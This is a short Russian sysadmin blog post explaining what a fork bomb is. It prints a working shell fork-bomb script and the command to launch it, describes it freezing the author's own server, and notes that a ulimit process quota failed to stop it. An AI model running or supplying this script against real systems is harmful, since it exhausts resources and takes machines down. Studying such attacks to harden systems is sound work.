FastNetMon

Wednesday 9 December 2009

Что такое fork() bomb ?

А вот оно:

while [ true ]; do \
while [ true ]; do \
echo " " > /dev/null;
done &
done


А запускать для удобства так: sh /tmp/bomb & и после этого наблюдать за ростом числа процессов в top пока система не умрет :) P.S. мой сервер вытянул 3612 процессов на load average: 1166.66, 287.14, 95.93 и завис =) Самое интересно, что система продолжала пинговаца, так что пошел бой насмерть между fork() и OOM killer :)

Думал, что защитится от этого довольно легко - выставлять для юзеров следующую квоту:
ulimit -u 100


Но увы, не помогло :(

Потырено с: OpenVZ wiki

No comments :

Post a Comment

Note: only a member of this blog may post a comment.